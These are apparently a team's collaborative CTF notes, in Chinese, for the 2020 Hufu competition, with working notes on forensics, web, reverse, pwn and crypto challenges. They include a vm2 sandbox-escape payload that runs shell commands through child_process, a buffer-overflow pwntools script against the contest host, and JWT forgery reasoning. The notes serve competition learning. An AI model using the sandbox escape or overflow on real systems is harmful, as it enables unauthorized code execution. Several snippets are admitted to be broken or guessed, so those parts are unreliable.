# 虎符 协作文档 // 数字中国创新大赛--虎符网络安全赛道 :::success **URL**: https://race.ichunqiu.com/hfctf **Start Time**: 2020年4月19日 9:00 **End Time**: 17:00 ::: --- [TOC] --- # Misc ## 密码机器 | OPEN | Working: Wal1et - Arduino单片机hex文件 - hex文件尾有一段python代码,涉及到加密和解密,但IDA还原的很混乱 ```python import base64 from Crypto.Cipher import AES def add_to_16(s): while len(s) % 16 != 0: s += '\0' return str.encode(s) print('you have 10s to input the secret key') key = 'aaaaa14mK3ybbbbb' encrypted_text = 'PZbQF92C0DPpmpgV/sxbA3zG4UGMjRUsQitRsfCofGh0IcjCvVUwbc/5YxWgrSJHUzsz0eb/' aes = AES.new(str.encode(key), AES.MODE_ECB) decrypted_text = str(aes.decrypt(base64.decodebytes(bytes(encrypted_text, encoding='utf8'))).rstrip(b'\0').decode('utf8')) ``` - ↑这个跑不起来,有好多地方要改 ## 奇怪的组织 | OPEN | Working: EndCat - Windows环境取证(并不是 - 题目给了一些除System文件夹之外的程序目录/文件目录 **有没有方便针对文件夹的取证软件.....** **没有的话那我人 工 取 证le** 题目Hint:注意用户的浏览行为,注意用户的聊天内容。 - Spot 1 简单翻了一下文件夹目录,发现有一个用户叫bob,浏览器使用firefox 搜索places.sqlite 这是存放浏览记录的文件(用sqlitespy看√)(看完了) 可疑记录有: 浏览记录里面为主要为dedecms的安装/ 有可能进入到后台和phpmyadmin进行了一系列操作 访问网页:protonmail/spacesniffer/emojipedia - Spot 2 在bob用户目录下发现了一首天气之子的OST (暂时没打开来听过,应该不会有音频隐写啥的8) - Spot 3 在bob用户的Document目录下 发现一个与 https://docs.geetest.com/onelogin/deploy/client/android 有关的的pdf文件 - Spot 4 根目录装了一个phpstudy+dedecms **有没有人看一下这个站点……我把下载链接放下面** https://pan.baidu.com/s/1k79WYOu3M-FqiY66K_WHXw 3b9f <!-- 害用百度云?爬 --> Users\bob\Pictures\Camera Roll\sdcard\ ~~手机备份,cat看一下~~ 没啥东西 phpstudy的tmp里有session留着,里面有pma的执行记录 thunderbird邮件记录 ![](https://i.imgur.com/pRGjOQB.png) 这个codemoji好简陋。。官网只能加密,解密必须有分享网址,单独发的那两条解不开 其他几个地址解开后大意是“我们找到了安全的传输方法,密码不够复杂” emoji:那个龙 https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17/files/cracker ## Minesweeper | OPEN | Working: EndCat - netcat连接 发现是一个扫雷游戏 - nc 39.97.210.182 56666 貌似有很多关卡 我手撕了level1后 给了我一些意义不明的数字 ``` You Win! your reward: 0.3984 0.4219 0.3789 0.4023 0.4805 0.2109 0.3828 0.2227 0.2188 0.2188 0.1875 0.1875 0.1914 0.1758 0.1953 ``` Tips:如果你们也想手撕的话,**可以连续键入方向指令,这样会快一点** # Web ## easy_login | OPEN | Working: Reclu3e flag(手断回来了) - /app.js - /rest.js - /controller.js (controllers/* 底下的js文件。。。) - /views/{login/register/home}.pug (模版,没啥用) - /package.json 看依赖版本(好像也没啥用) - get flag 的时候会带着session,应该没法伪造身份,应该还是登陆的时候要伪造成admin - /controllers/{view/api}.js 重点在于/api/flag到底要怎么验证emmmm 就是个get请求也没传啥参数啥的,应该是验证session的某个字段吧 koajs/session 的README里头写道 `Warning: If a session cookie is stolen, this cookie will never expire` 怎么拿到controllers底下的东西。。。 < 猜(迫真) ![](https://i.imgur.com/J9h74ns.png) ~~所有的secret是一个数组存的,每个人有不一样的secret,试试改secretid是负数,那么就是一个undefined的secret,这样就可以伪造admin了~~ 🉑️么? <- 并不🉑️,有校验 /controllers/api.js 怎么拿到的。。。。。猜? <- 猜 草 还真是admin。。。。 <!-- 看来疯狂注册就行了 --> ![](https://i.imgur.com/Gzd9U4t.png) <!-- ![](https://i.imgur.com/YYOKdxe.png) <- sid不是在jwt里面吗 --> 在浏览器上可以,但是发过去就是sid不存在,你们康康 secret or public key must be provided jwt.verify()第二个参数不能是undefined。。 https://github.com/auth0/node-jsonwebtoken // js的数组有什么属性/函数返回的是一个字符串?([].toString()) 除了[]还有什么满足`!(sid < global.secrets.length && sid >= 0)`? 字符串8行,还要满足上面那个式子 ## just escape | DONE | Frank - js沙箱逃逸√ - code=Error().stack vm2 https://github.com/patriksimek/vm2/issues <!-- 咋这么多js啊 我不会js --> 过滤 - " (用String.fromCharCode绕) - .proto (Buffer.from.lookupGetter绕) - process - constructor - exec ```javascript (function() { var exports; exports[String.fromCharCode(112, 114, 111, 99, 101, 115, 115)] = // exports.process = setTimeout(()=>{}, 100).ref() [String.fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)] [String.fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)] //settimeOut(()=>{}).ref().constructor.constructor (String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115))(); })() ``` 怎么会ReferenceError: setTimeout is not defined 懵,还能没有setTimeout的么 这waf得我有亿点自闭 ![](https://i.imgur.com/8XXmBFM.png) 极限交flag 未混淆payload ```javascript (function(){ try{ Buffer.from(new Proxy({}, { getOwnPropertyDescriptor(){ throw f=>f.constructor("return process")(); } })); }catch(e){ return e(()=>{}).mainModule.require('child_process').execSync("ls") } })() ``` ## baby love babyupload ~ <!-- 像这种打开题目就能看到源码的就不用放了8 网页上看着难受,在这写点注释啥的--> hash_file 能触发php反序列化,不会是phar反序列化吧-_- # Reverse ## game | OPEN | Done : Ruby | HAPPY * Python逆向,给了python字节码的伪代码 ```python # check0忽略 def check1(s): if (len(s) < 100): if (len(s) * len(s)) % 777 ^ 233 == 513: return True return False # len(s) == 39 # flag 格式是啥啊 def check2(s): if ord(s[0])*128 + ord(s[1]) * 128 + ord(s[2]) * 128 + ord(s[3]) * 128 + ord(s[4]) * 128 + ord(s[5]) * 128 == 3533889469877L: return ord(s[-1]) == 125 # } return False # 还要手动dis验证一下 def check3(s): arr = [ord(i) for i in s] a = arr[6:30:3] for i in range(len(a)): a[i] *= 17684 # 原意不修改a,但是这是最后一个check了,修改下a也没事了 a[i] += 372511 a[i] = 257 % a[i] # a[i]%=257 # not sure if arr0[i] != a[i]: return False b = arr[-2, 33, -1] * 5 c = map(lm, zip(b, arr[7, 27])) # TOS = TOS2[TOS1:TOS] if c != arr1: return False p = 0 for i in range(28, 34): arr[i] += 107 arr[i] /= 16 arr[i] += 77 if arr[i] != arr2[p]: return False arr[i] += 117 arr[i] %= 16 arr[i] += 99 if (arr2[p] + 1) != arr[i]: # or arr2[p+1] return False p = p + 2 ``` ``` flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq} ``` 下线了) 完整*山程序 https://paste.ubuntu.com/p/MvNtMgGPDh/ # Pwn ## count | DONE | Sad arm, 马上出,签到题 签了签了 ```python from pwn import * p = remote("39.97.210.182",40285) for i in range(1,201): p.recvuntil("there have 200 levels ~Math: ") strr=p.recvuntil(" =") p.recvuntil("???input answer:") p.sendline(str(eval(strr[:-2]))) print i p.send('a'*100+p64(0x12235612)) p.interactive() ``` # Crypto ## gm | DONE | konge <!-- 睡过了。。。难受 --> ```python import data phi = data.a n = data.b p = (n - phi + 1 - ((n - phi + 1) ^ 2 - 4 * n).nth_root(2)) // 2 q = n // p Fp = Integers(p) f2 = [0 if Fp(f).is_square() else 1 for f in data.enc] hex(int('0' + ''.join(str(i) for i in f2), 2))[2:-1].decode('hex') ``` (开个sage搞死我了 https://ctftime.org/writeup/16120 ## mceliece | Open | konge https://github.com/aburan28/mceliece/blob/c60c503d04d9690e926e6badd559334124828c3d/mceliece/goppa_codes.py